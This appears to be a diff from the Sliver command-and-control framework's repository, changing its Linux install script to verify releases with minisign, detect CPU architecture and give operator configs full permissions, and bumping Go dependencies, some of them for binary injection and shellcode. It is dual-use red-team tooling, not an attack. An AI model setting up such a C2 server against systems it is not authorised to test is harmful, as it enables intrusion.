||||
4. While messages cannot be replayed, valid messages can potentially be re-ordered.
|
||||
@@ -1,7 +1,8 @@
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
SLIVER_GPG_KEY_ID="4449039C"
|
||||
SLIVER_MINISIGN_PUB_KEY="RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTR"
|
||||
SLIVER_PLATFORM="linux"
|
||||
|
||||
if [[ "$EUID" -ne 0 ]];then
|
||||
echo "Please run as root"
|
||||
@@ -13,16 +14,15 @@ fi
|
||||
if command -v apt-get &> /dev/null; then
|
||||
echo "Installing dependencies using apt..."
|
||||
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
|
||||
gpg curl build-essential git \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
minisign curl build-essential git
|
||||
INSTALLER=(apt-get install -yqq)
|
||||
elif command -v yum &> /dev/null; then # Redhat-based OS (Fedora, CentOS, RHEL)
|
||||
echo "Installing dependencies using yum..."
|
||||
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
|
||||
yum -y install minisign curl make git
|
||||
INSTALLER=(yum -y)
|
||||
elif command -v pacman &>/dev/null; then # Arch-based (Manjaro, Garuda, Blackarch)
|
||||
echo "Installing dependencies using pacman..."
|
||||
pacman --noconfirm -S mingw-w64-gcc mingw-w64-binutils mingw-w64-headers
|
||||
pacman --noconfirm -S minisign
|
||||
INSTALLER=(pacman --noconfirm -S)
|
||||
else
|
||||
echo "Unsupported OS, exiting"
|
||||
@@ -30,7 +30,7 @@ else
|
||||
fi
|
||||
|
||||
# Verify if necessary tools are installed
|
||||
for cmd in curl awk gpg; do
|
||||
for cmd in curl awk minisign; do
|
||||
if ! command -v "$cmd" &> /dev/null; then
|
||||
echo "$cmd could not be found, installing..."
|
||||
${INSTALLER[@]} "$cmd"
|
||||
@@ -40,66 +40,27 @@ done
|
||||
cd /root || exit
|
||||
echo "Running from $(pwd)"
|
||||
|
||||
echo "Importing GPG key..."
|
||||
gpg --import <<EOF
|
||||
-----BEGIN PGP PUBLIC KEY BLOCK-----
|
||||
|
||||
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
|
||||
=lxj2
|
||||
-----END PGP PUBLIC KEY BLOCK-----
|
||||
EOF
|
||||
echo "Using Minisign public key..."
|
||||
|
||||
# Download and Unpack Sliver Server
|
||||
ARCH="$(uname -m)"
|
||||
case "$ARCH" in
|
||||
x86_64|amd64)
|
||||
SLIVER_PLATFORM="linux-amd64"
|
||||
;;
|
||||
aarch64|arm64)
|
||||
SLIVER_PLATFORM="linux-arm64"
|
||||
;;
|
||||
*)
|
||||
echo "Unsupported architecture: $ARCH"
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
|
||||
echo "Fetching latest Sliver release URLs..."
|
||||
ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
|
||||
SLIVER_SERVER="sliver-server_linux"
|
||||
SLIVER_CLIENT="sliver-client_linux"
|
||||
SLIVER_SERVER="sliver-server_${SLIVER_PLATFORM}"
|
||||
SLIVER_CLIENT="sliver-client_${SLIVER_PLATFORM}"
|
||||
|
||||
for URL in $ARTIFACTS
|
||||
do
|
||||
@@ -115,8 +76,8 @@ done
|
||||
|
||||
# Signature verification
|
||||
echo "Verifying signatures ..."
|
||||
gpg --default-key "$SLIVER_GPG_KEY_ID" --verify "/root/$SLIVER_SERVER.sig" "/root/$SLIVER_SERVER"
|
||||
gpg --default-key "$SLIVER_GPG_KEY_ID" --verify "/root/$SLIVER_CLIENT.sig" "/root/$SLIVER_CLIENT"
|
||||
minisign -Vm "/root/$SLIVER_SERVER" -x "/root/$SLIVER_SERVER.minisig" -P "$SLIVER_MINISIGN_PUB_KEY"
|
||||
minisign -Vm "/root/$SLIVER_CLIENT" -x "/root/$SLIVER_CLIENT.minisig" -P "$SLIVER_MINISIGN_PUB_KEY"
|
||||
|
||||
if test -f "/root/$SLIVER_SERVER"; then
|
||||
echo "Moving the Sliver server executable to /root/sliver-server..."
|
||||
@@ -176,7 +137,7 @@ echo "Generating local configs ..."
|
||||
# Generate local configs
|
||||
echo "Generating operator configs ..."
|
||||
mkdir -p /root/.sliver-client/configs
|
||||
/root/sliver-server operator --name root --lhost localhost --save /root/.sliver-client/configs
|
||||
/root/sliver-server operator --name root --lhost localhost --permissions all --save /root/.sliver-client/configs
|
||||
chown -R root:root /root/.sliver-client/
|
||||
|
||||
USER_DIRS=(/home/*)
|
||||
@@ -185,7 +146,7 @@ for USER_DIR in "${USER_DIRS[@]}"; do
|
||||
if id -u "$USER" >/dev/null 2>&1; then
|
||||
echo "Generating operator configs for user $USER..."
|
||||
mkdir -p "$USER_DIR/.sliver-client/configs"
|
||||
/root/sliver-server operator --name "$USER" --lhost localhost --save "$USER_DIR/.sliver-client/configs"
|
||||
/root/sliver-server operator --name "$USER" --lhost localhost --permissions all --save "$USER_DIR/.sliver-client/configs"
|
||||
chown -R "$USER":"$(id -gn "$USER")" "$USER_DIR/.sliver-client/"
|
||||
fi
|
||||
done
|
||||
@@ -0,0 +1 @@
|
||||
RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTR
|
||||
@@ -6,7 +6,6 @@ replace github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v
|
||||
|
||||
require (
|
||||
filippo.io/age v1.2.1
|
||||
github.com/AlecAivazis/survey/v2 v2.3.7
|
||||
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb
|
||||
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a
|
||||
github.com/Binject/go-donut v0.0.0-20220908180326-fcdcc35d591c
|
||||
@@ -49,17 +48,17 @@ require (
|
||||
github.com/ulikunitz/xz v0.5.15
|
||||
github.com/xlab/treeprint v1.2.0
|
||||
github.com/yiya1989/sshkrb5 v0.0.1
|
||||
golang.org/x/crypto v0.43.0
|
||||
golang.org/x/crypto v0.46.0
|
||||
golang.org/x/exp v0.0.0-20251002181428-27f1f14c8bb9
|
||||
golang.org/x/net v0.46.0
|
||||
golang.org/x/sys v0.37.0
|
||||
golang.org/x/term v0.36.0
|
||||
golang.org/x/text v0.30.0
|
||||
golang.org/x/mod v0.30.0
|
||||
golang.org/x/net v0.47.0
|
||||
golang.org/x/sys v0.39.0
|
||||
golang.org/x/term v0.38.0
|
||||
golang.org/x/text v0.32.0
|
||||
golang.zx2c4.com/wireguard v0.0.0-20250521234502-f333402bd9cb
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20241231184526-a9ab2273dd10
|
||||
google.golang.org/grpc v1.76.0
|
||||
google.golang.org/protobuf v1.36.10
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8
|
||||
gorm.io/driver/mysql v1.6.0
|
||||
gorm.io/driver/postgres v1.6.0
|
||||
gorm.io/driver/sqlite v1.6.0
|
||||
@@ -140,7 +139,6 @@ require (
|
||||
github.com/mattn/go-runewidth v0.0.19 // indirect
|
||||
github.com/mdlayher/netlink v1.8.0 // indirect
|
||||
github.com/mdlayher/socket v0.5.1 // indirect
|
||||
github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d // indirect
|
||||
github.com/mitchellh/go-ps v1.0.0 // indirect
|
||||
github.com/mitchellh/hashstructure/v2 v2.0.2 // indirect
|
||||
github.com/moloch--/go-keystone v0.0.2 // indirect
|
||||
@@ -168,11 +166,10 @@ require (
|
||||
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e // indirect
|
||||
go4.org/mem v0.0.0-20240501181205-ae6ca9944745 // indirect
|
||||
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
|
||||
golang.org/x/mod v0.28.0 // indirect
|
||||
golang.org/x/oauth2 v0.30.0 // indirect
|
||||
golang.org/x/sync v0.17.0 // indirect
|
||||
golang.org/x/sync v0.19.0 // indirect
|
||||
golang.org/x/time v0.13.0 // indirect
|
||||
golang.org/x/tools v0.37.0 // indirect
|
||||
golang.org/x/tools v0.39.0 // indirect
|
||||
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect
|
||||
golang.zx2c4.com/wireguard/windows v0.5.3 // indirect
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20251014184007-4626949a642f // indirect
|
||||
|
||||
@@ -11,9 +11,6 @@ filippo.io/edwards25519 v1.1.0 h1:FNf4tywRC1HmFuKW5xopWpigGjJKiJSV0Cqo0cJWDaA=
|
||||
filippo.io/edwards25519 v1.1.0/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4VDT4=
|
||||
filippo.io/mkcert v1.4.4 h1:8eVbbwfVlaqUM7OwuftKc2nuYOoTDQWqsoXmzoXZdbc=
|
||||
filippo.io/mkcert v1.4.4/go.mod h1:VyvOchVuAye3BoUsPUOOofKygVwLV2KQMVFJNRq+1dA=
|
||||
github.com/AlecAivazis/survey/v2 v2.0.5/go.mod h1:WYBhg6f0y/fNYUuesWQc0PKbJcEliGcYHB9sNT3Bg74=
|
||||
github.com/AlecAivazis/survey/v2 v2.3.7 h1:6I/u8FvytdGsgonrYsVn2t8t4QiRnh6QSTqkkhIiSjQ=
|
||||
github.com/AlecAivazis/survey/v2 v2.3.7/go.mod h1:xUTIdE4KCOIjsBAE1JYsUPoCqYdZ1reCfTwbto0Fduo=
|
||||
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb h1:c1Bb1n1wr2xgTHkNVxkUHBshff33m+IXgY6lE6oYttg=
|
||||
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb/go.mod h1:fSQ9asCJK/lIGXUnoRwJNMXcnzel53AsZMCtlVBIn3k=
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
@@ -35,9 +32,6 @@ github.com/Microsoft/go-winio v0.6.2 h1:F2VQgta7ecxGYO8k3ZZz3RS8fVIXVxONVUPlNERo
|
||||
github.com/Microsoft/go-winio v0.6.2/go.mod h1:yd8OoFMLzJbo9gZq8j5qaps8bJ9aShtEA8Ipt1oGCvU=
|
||||
github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4=
|
||||
github.com/Ne0nd0g/go-clr v1.0.3/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
|
||||
github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
|
||||
github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2 h1:+vx7roKuyA63nhn5WAunQHLTznkw5W8b1Xc0dNjp83s=
|
||||
github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2/go.mod h1:HBCaDeC1lPdgDeDbhX8XFpy1jqjK0IBG8W5K+xYqA0w=
|
||||
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab/go.mod h1:u1+HeRyl/gQs67eDgVEWNE7+x+zCyXhdtNVrRJR5YPE=
|
||||
github.com/VirusTotal/vt-go v1.0.1 h1:rj/qugIY8XNC6ogwOaeJAGCOsb3nmY63+yuDMtHOx0Q=
|
||||
github.com/VirusTotal/vt-go v1.0.1/go.mod h1:u1+HeRyl/gQs67eDgVEWNE7+x+zCyXhdtNVrRJR5YPE=
|
||||
@@ -150,7 +144,6 @@ github.com/cpuguy83/go-md2man/v2 v2.0.3/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46t
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g=
|
||||
github.com/creachadair/taskgroup v0.13.2 h1:3KyqakBuFsm3KkXi/9XIb0QcA8tEzLHLgaoidf0MdVc=
|
||||
github.com/creachadair/taskgroup v0.13.2/go.mod h1:i3V1Zx7H8RjwljUEeUWYT30Lmb9poewSb2XI1yTwD0g=
|
||||
github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
|
||||
github.com/creack/pty v1.1.24 h1:bJrF4RRfyJnbTJqzRLHzcGaZK1NeM5kTC9jGgovnR1s=
|
||||
github.com/creack/pty v1.1.24/go.mod h1:08sCNb52WyoAwi2QDyzUCTgcvVFhUzewun7wtTfvcwE=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
@@ -254,9 +247,6 @@ github.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/C
|
||||
github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
|
||||
github.com/hdevalence/ed25519consensus v0.2.0 h1:37ICyZqdyj0lAZ8P4D1d1id3HqbbG1N3iBb1Tb4rdcU=
|
||||
github.com/hdevalence/ed25519consensus v0.2.0/go.mod h1:w3BHWjwJbFU29IRHL1Iqkw3sus+7FctEyM4RqDxYNzo=
|
||||
github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
|
||||
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec h1:qv2VnGeEQHchGaZ/u7lxST/RaJw+cv273q79D81Xbog=
|
||||
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec/go.mod h1:Q48J4R4DvxnHolD5P8pOtXigYlRuPLGl6moFx3ulM68=
|
||||
github.com/illarion/gonotify/v3 v3.0.2 h1:O7S6vcopHexutmpObkeWsnzMJt/r1hONIEogeVNmJMk=
|
||||
github.com/illarion/gonotify/v3 v3.0.2/go.mod h1:HWGPdPe817GfvY3w7cx6zkbzNZfi3QjcBm/wgVvEL1U=
|
||||
github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
|
||||
@@ -303,7 +293,6 @@ github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORN
|
||||
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
|
||||
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
|
||||
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/pty v1.1.4/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
|
||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
@@ -317,11 +306,9 @@ github.com/lucasb-eyer/go-colorful v1.2.0 h1:1nnpGOrhyZZuNyfu1QjKiUICQ74+3FNCN69
|
||||
github.com/lucasb-eyer/go-colorful v1.2.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
|
||||
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
|
||||
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||
github.com/mattn/go-colorable v0.1.14 h1:9A9LHSqF/7dyVVX6g0U9cwm9pG3kP9gSzcuIPHPsaIE=
|
||||
github.com/mattn/go-colorable v0.1.14/go.mod h1:6LmQG8QLFO4G5z1gPvYEzlUgJ2wF+stgPZH1UqBm1s8=
|
||||
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
|
||||
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
||||
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
@@ -340,9 +327,6 @@ github.com/mdlayher/sdnotify v1.0.0 h1:Ma9XeLVN/l0qpyx1tNeMSeTjCPH6NtuD6/N9XdTlQ
|
||||
github.com/mdlayher/sdnotify v1.0.0/go.mod h1:HQUmpM4XgYkhDLtd+Uad8ZFK1T9D5+pNxnXQjCeJlGE=
|
||||
github.com/mdlayher/socket v0.5.1 h1:VZaqt6RkGkt2OE9l3GcC6nZkqD3xKeQLyfleW/uBcos=
|
||||
github.com/mdlayher/socket v0.5.1/go.mod h1:TjPLHI1UgwEv5J1B5q0zTZq12A/6H7nKmtTanQE37IQ=
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
|
||||
github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d h1:5PJl274Y63IEHC+7izoQE9x6ikvDFZS2mDVS3drnohI=
|
||||
github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
|
||||
github.com/miekg/dns v1.1.68 h1:jsSRkNozw7G/mnmXULynzMNIsgY2dHC8LO6U6Ij2JEA=
|
||||
github.com/miekg/dns v1.1.68/go.mod h1:fujopn7TB3Pu3JM69XaawiU0wqjpL9/8xGop5UrTPps=
|
||||
github.com/mitchellh/go-ps v1.0.0 h1:i6ampVEEF4wQFF+bkYfwYgY+F/uYJDktmvLPf7qIgjc=
|
||||
@@ -426,7 +410,6 @@ github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk=
|
||||
github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
|
||||
@@ -482,7 +465,6 @@ github.com/yiya1989/sshkrb5 v0.0.1 h1:oAKpXLBeZExjYDV9eTL2KypmXU+5oPrJtqDuR5JbWi
|
||||
github.com/yiya1989/sshkrb5 v0.0.1/go.mod h1:r1bHcNa22x8rrg/Kj/cDF5bX6UtZrHiQgRFvj3Mnpl8=
|
||||
github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
|
||||
go.opentelemetry.io/auto/sdk v1.1.0 h1:cH53jehLUN6UFLY71z+NDOiNJqDdPRaXzTel0sJySYA=
|
||||
go.opentelemetry.io/auto/sdk v1.1.0/go.mod h1:3wSPjt5PWp2RhlCcmmOial7AvC4DQqZb7a7wCow3W8A=
|
||||
go.opentelemetry.io/otel v1.37.0 h1:9zhNfelUvx0KBfu/gb+ZgeAfAgtWrfHJZcAqFC228wQ=
|
||||
@@ -504,13 +486,11 @@ go4.org/mem v0.0.0-20240501181205-ae6ca9944745/go.mod h1:reUoABIJ9ikfM5sgtSF3Wus
|
||||
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBseWJUpBw5I82+2U4M=
|
||||
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y=
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
golang.org/x/crypto v0.0.0-20190530122614-20be4c3c3ed5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.43.0 h1:dduJYIi3A3KOfdGOHX8AVZ/jGiyPa3IbBozJ5kNuE04=
|
||||
golang.org/x/crypto v0.43.0/go.mod h1:BFbav4mRNlXJL4wNeejLpWxB7wMbc79PdRGhWKncxR0=
|
||||
golang.org/x/crypto v0.46.0 h1:cKRW/pmt1pKAfetfu+RCEvjvZkA9RimPbh7bhFjGVBU=
|
||||
golang.org/x/crypto v0.46.0/go.mod h1:Evb/oLKmMraqjZ2iQTwDwvCtJkczlDuTmdJXoZVzqU0=
|
||||
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
||||
golang.org/x/exp v0.0.0-20251002181428-27f1f14c8bb9 h1:TQwNpfvNkxAVlItJf6Cr5JTsVZoC/Sj7K3OZv2Pc14A=
|
||||
